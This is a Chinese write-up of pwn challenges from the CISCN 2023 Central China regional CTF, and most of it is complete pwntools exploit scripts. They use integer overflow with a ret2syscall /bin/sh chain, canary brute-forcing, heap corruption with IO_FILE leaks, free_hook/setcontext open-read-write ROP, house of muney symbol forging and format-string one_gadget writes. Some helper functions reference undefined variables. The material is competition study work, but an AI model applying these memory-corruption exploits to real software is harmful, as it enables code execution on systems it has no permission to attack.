ciscn_2023华中赛区
线上
烧烤摊儿
漏洞有两个
1、整数溢出
2、溢出
在啤酒函数和烤串中都有整数溢出
只要输入一个足够大的负数
就可以进入vip函数,将own赋值为1
然后进入gaiming函数,因为scanf的函数的参数是%s所以存在栈溢出
在经过j_strcpy_ifunc函数后向bss段赋值一段数据
看到这就知道了解题思路就是先整数溢出,在利用溢出打一个ret2syscall
from tools import*
p=remote('123.56.251.120',41152)
def pijiu(index,num):
p.sendlineafter('> ',str(1))
p.sendlineafter('3. 勇闯天涯',str(index))
p.sendlineafter('来几瓶?',str(num)) #10
def kaochuan():
p.sendlineafter('> ',str(2))
p.sendlineafter('3. 鸡肉串',str(index))
p.sendlineafter('来几串?',str(num)) #5
def chengbao():
p.sendlineafter('> ',str(4))
def name(content):
p.sendlineafter('> ',str(5))
p.sendlineafter('烧烤摊儿已归你所有,请赐名:\n',content)
# debug(p,0x401F8D)
pijiu(1,-50000)
chengbao()
syscall=0x0000000000402404
pop_rdi=0x000000000040264f
pop_rsi=0x000000000040a67e
pop_rax=0x0000000000458827
pop_rdx_r12=0x00000000004a404b
payload=b'/bin/sh\x00'+p64(0x3b)+b'a'*(40-8-8)+p64(pop_rdi)+p64(0x4E60F0)+p64(pop_rsi)+p64(0)+p64(pop_rdx_r12)+p64(0)*2+p64(pop_rax)+p64(0x3b)
payload+=p64(syscall)
name(payload)
p.interactive()
funcanary
保护全开
漏洞就是利用fock进行爆破canary
有后门因该是加了一点花
不得不说是一个模板题上网找个例题改改就行,和网上找到的例题不同的就是这个开了pie所以还需要爆破一下地址概率是1/16
exp
from pwn import *
p=remote("123.56.99.60",32688)
context.log_level='debug'
canary='\x00'
for j in range(7):
for i in range(0xff):
p.sendafter("welcome\n",'a'*0x68+canary+chr(i))
a=p.recvline()
if b"***" not in a:
canary+=chr(i)
break
for i in range(0xf):
flag=0x0231 +i*0x1000
p.sendafter("welcome\n",b'b'*0x68+canary+p64(0)+p16(flag))
p.interactive()
from tools import *
context.log_level='debug'
p,e,libc=load('pwn')
def add(size,content):
p.sendlineafter('choice:',str(1))
p.sendlineafter('Size:',str(size))
p.sendlineafter('Data:',content)
def delete(index):
p.sendlineafter('choice:',str(2))
p.sendlineafter('Index:',str(index))
add_p=0xB75
delete_p=0xCE7
add(0x4f8,"0") #0
add(0x1f8,"1") #1
add(0x4f8,"2") #2
add(0x20,"/bin/sh\x00") #3
delete(0)
delete(1)
add(0x1f8,b"a"*0x1f0+p64(0x200+0x500))
delete(2)
add(0x1f8,"1")
add(0x1f8,"1")
delete(1)
delete(0)
add(0xf0,b'trunk')
add(0xf8,p16(0xe760))
add(0x1f8,b'trunk')
add(0x1f8,p64(0xfbad1800)+p64(0)*3+b"\x58")
libc_base=recv_libc()-0x3e82a0
log_addr('libc_base')
system=libc_base+0x4f420
add(0x28,'trunk')
delete(6)
p.interactive()
StrangeTalkBot
没有做出来,赛后复现一下
当时没做出来主要是没有见过这个类型的
protobuf安装
自己编译的总是出问题,然后看了一下zikh26的文章,发现是利用编译好的
其他就没啥了
exp
from tools import *
import ctf_pb2
context.log_level='debug'
p,e,libc=load("pwn")
#这里的 parse_member 就是我们前面ctf.proto文件中的 message结构体名字
protobuf = ctf_pb2.parse_member()
def add(idx, size, content):
#赋值 protobuf 序列化结构体变量
protobuf.actionid = 1
protobuf.msgidx = idx
protobuf.msgsize = size
protobuf.msgcontent = content
#序列化 转string发送
p.sendafter(b'now: \n', protobuf.SerializeToString())
def edit(idx, size, content):
protobuf.actionid = 2
protobuf.msgidx = idx
protobuf.msgsize = size
protobuf.msgcontent = content
p.sendafter(b'now: \n', protobuf.SerializeToString())
def show(idx):
protobuf.actionid = 3
protobuf.msgidx = idx
protobuf.msgsize = 0
protobuf.msgcontent = b'\x00'
p.sendafter(b'now: \n', protobuf.SerializeToString())
def delete(idx):
protobuf.actionid = 4
protobuf.msgidx = idx
protobuf.msgsize = 0
protobuf.msgcontent = b'\x00'
p.sendafter(b'now: \n', protobuf.SerializeToString())
for i in range(9):
add(i,0x90,b'a'*0x10)
for i in range(8):
delete(i)
show(7)
p.recv(56)
heap_addr=u64(p.recv(6).ljust(8,b'\x00'))
log_addr("heap_addr")
libc_base=recv_libc()-0x1ecb00
log_addr('libc_base')
io_list_all=libc_base+libc.symbols['_IO_list_all']
log_addr("io_list_all")
free_hook=libc_base+libc.symbols["__free_hook"]
edit(6,0x10,p64(free_hook))
add(9,0x90,b"c"*0x10)
magic_gadget=libc_base+0x151990
setcontext_addr=libc_base+0x54F5D
payload=p64(heap_addr-0x5e0)#rsp
payload+=p64(heap_addr-0x20+0x620-0x20)#rdx
payload+=p64(setcontext_addr)
payload+=p64(2)
payload+=p64(3)
payload+=p64(4)
payload+=p64(5)
payload+=p64(6)
payload+=p64(7)
payload+=p64(8)
payload+=p64(9)
payload+=p64(0)#rdi
payload+=p64(heap_addr-0x5e0)#rsi
payload+=p64(12)
payload+=p64(13)
payload+=p64(0x100)#rdx
payload+=p64(0xdead)
payload+=p64(5555)
payload+=p64(heap_addr-0x5e0)#rsp
payload+=p64(libc_base+libc.symbols["read"])
add(11,0xf0,payload)
debug(p,'pie',0x14f2,0x161C,0x1542)
add(10,0x90,p64(magic_gadget))# write address of fake_data to
__free_hook
delete(11)
pop_rdi_ret=libc_base+0x0000000000023b6a
pop_rsi_ret=libc_base+0x000000000002601f
pop_rdx_ret=libc_base+0x0000000000142c92
#open
rop=p64(pop_rdi_ret)
rop+=p64(heap_addr-0x548)# 'flag' address
rop+=p64(pop_rsi_ret)
rop+=p64(0)
rop+=p64(libc_base+libc.symbols["open"])
#read
rop+=p64(pop_rdi_ret)
rop+=p64(3)
rop+=p64(pop_rsi_ret)
rop+=p64(heap_addr)# flag store address
rop+=p64(pop_rdx_ret)
rop+=p64(0x50)
rop+=p64(libc_base+libc.symbols["read"])
#write
rop+=p64(pop_rdi_ret)
rop+=p64(1)
rop+=p64(pop_rsi_ret)
rop+=p64(heap_addr)# flag store address
rop+=p64(pop_rdx_ret)
rop+=p64(0x50)
rop+=p64(libc_base+libc.symbols["write"])
rop+=b"flag"
pause()
p.send(rop)
p.interactive()
线下
这次比赛挺难的,第一天就放了2个pwn,就一个有解是一解,通过这次比赛发现了现在的pwn的发现趋势是能够分析整个程序的流程,也就是代码审计能力,不会单一考察漏洞的利用
muney
是一个web和pwn的结合,就是分析一个输入格式和house of muney
那个输入格式其实就是一个web中http请求头,其实让web手抓以下就行,以下就是一个http请求头,简单分析一下就行,这里就不再仔细分析。
GET /html/E9EU0K6T3G12.html HTTP/1.1 Host: www.python100.com Cookie: Hm_lvt_a49778e5b135106a4771f91c0fd2dabc=1688107538; Hm_lpvt_a49778e5b135106a4771f91c0fd2dabc=1688107538 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Referer: https://www.baidu.com/link?url=6A1GvcS74nm_hxSop7GGWdKN6riKfUw_TgMs62-_cRXrMS9DKotGczTJELhkfWNY8gtmGtaqP5pzuWpe_d0U0q&wd=&eqid=87210b4c0008795800000002649e7a0c Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Sec-Fetch-User: ?1 If-Modified-Since: Wed, 14 Jun 2023 16:24:53 GMT If-None-Match: W/"6489e9d5-33e0" Te: trailers Connection: close
另一个就是house of muney,之前没有学过,其实就是ret2_dl_runtime_resolve的加强本
这道题的漏洞就是在edit中的idx可以为负数,并且可以申请size非常大的chunk
需要绕过的检查
1、sym->st_value 是否为零 (这需要我们将exit的sym->st_value换成system的sym->st_value)
2、strcmp (strtab + sym->st_name, undef_name) 这里我们需要伪造sym->st_name,让strtab + sym->st_name是exit字符串的地址
3、就是st_name的+4处的值是固定的
其他的都是固定的bucket,bitmask_word,hasharr
exp
from tools import*
p,e,libc=load('muney')
context.log_level='debug'
add_p=0x401FFF
delete_p=0x402195
edit_p=0x401EB4
exit_p=0x4021EE
def add(size,len):
date="""POST /create HTTP/1.0
Host :www.python100.com
Connection: Close
Accept-Encoding: gzip
Size:"""+str(size)+"""
Content-Length:"""+str(len)+"""\n\naaaaaaa"""
return date
def delete(index,len):
date="""POST /delete HTTP/1.0
Host :www.python100.com
Connection: Close
Accept-Encoding: gzip
Idx:"""+str(size)+"""
Content-Length:"""+str(len)+"""\n\naaaaaaa"""
return date
def edit(index,offset,len,content):
date=b"""POST /edit HTTP/1.0
Host :www.python100.com
Connection: Close
Accept-Encoding: gzip
Idx:"""+str(size).encode()+b"""
Offset:"""+str(offset).encode()+b"""
Content-Length:"""+str(len).encode()+b"""\n\n"""+content
return date
def quit(size,len):
date="""POST /quit HTTP/1.0
Host :www.python100.com
Connection: Close
Accept-Encoding: gzip
Size:"""+str(size)+"""
Content-Length:"""+str(len)+"""\n\naaaaaaa"""
return date
debug(p,exit_p)
p.sendafter('HTTP_Parser> ',add(0x150000,7))
p.sendafter('HTTP_Parser> ',edit(0,-8,3,b'\x02\x10\x17'))
p.sendafter('HTTP_Parser> ',delete(0,7))
p.sendafter('HTTP_Parser> ',add(0x171002,7))
#exit:sym->st_value=0x046a40 offset =0x156d10
#system:sym->st_value=0x052290
#bitmask_work offset = 0x152b78 value=0xf010028c0201130e
#bucket offset = 0x152ca0 value=0x86
#hasharr offset = 0x153d6c value=0x7c967e3e7c967e3f
p.sendafter('HTTP_Parser> ',edit(0,0x156d00-8,3,b'\x90\x22\x05'))
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-8-0x8,3,b"\xe5\x67\x1a"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-8-0x8+4,1,b"\x12"))#write data to exit@st_name
p.sendafter("HTTP_Parser> ",edit(0,0x156d00-8-0x8+6,1,b"\xf0"))#write data to exit@st_name
p.sendafter('HTTP_Parser> ',edit(0,0x152b78,8,p64(0xf010028c0201130e)))
p.sendafter('HTTP_Parser> ',edit(0,0x152ca0,1,p8(0x86)))
p.sendafter('HTTP_Parser> ',edit(0,0x153d6c,8,p64(0x7c967e3e7c967e3f)))
p.sendafter('HTTP_Parser> ',quit(0x150000,7))
p.interactive()
#b *($libc+0x1f3885) 0x214885
awd
漏洞就是格式化字符串,就是难在整个程序的的分析
from tools import*
context.log_level='debug'
p,e,libc=load('pwnbak')
rm_p=0x1B20
echo_p=0x1E11
p.sendlineafter('mybash:/$','echo %11$p aaaaaaaa')
libc_base=int(p.recvuntil('aaaaaaaa')[5:-8].ljust(8,b'\x00'),16)-0x9e975
log_addr('libc_base')
one_gadget=libc_base+0x10a2fc
p.sendlineafter('mybash:/$','echo %16$p aaaaaaaa')
stack=int(p.recvuntil('aaaaaaaa')[5:-8].ljust(8,b'\x00'),16)-0x28+0x60
log_addr('stack')
p.sendlineafter('mybash:/$',b"echo %"+str((stack&0xffff)).encode()+b"c%31$hn" +b" aaaaaaaa")
p.sendlineafter('mybash:/$',b"echo %"+str((one_gadget&0xffff)).encode()+b"c%57$hn" +b" aaaaaaaa")
p.sendlineafter('mybash:/$',b"echo %"+str((stack&0xffff)+2).encode()+b"c%31$hn" +b" aaaaaaaa")
debug(p,'pie',0x1ED5,0x2817 )
p.sendlineafter('mybash:/$',b"echo %"+str(((one_gadget>>16)&0xffff)).encode()+b"c%57$hn" +b" aaaaaaaa")
p.sendlineafter('mybash:/$','ls')
p.interactive()
线下赛题目链接
链接:https://pan.baidu.com/s/1QkGouIUltZlDiEznpYPa9w?pwd=5bde
提取码:5bde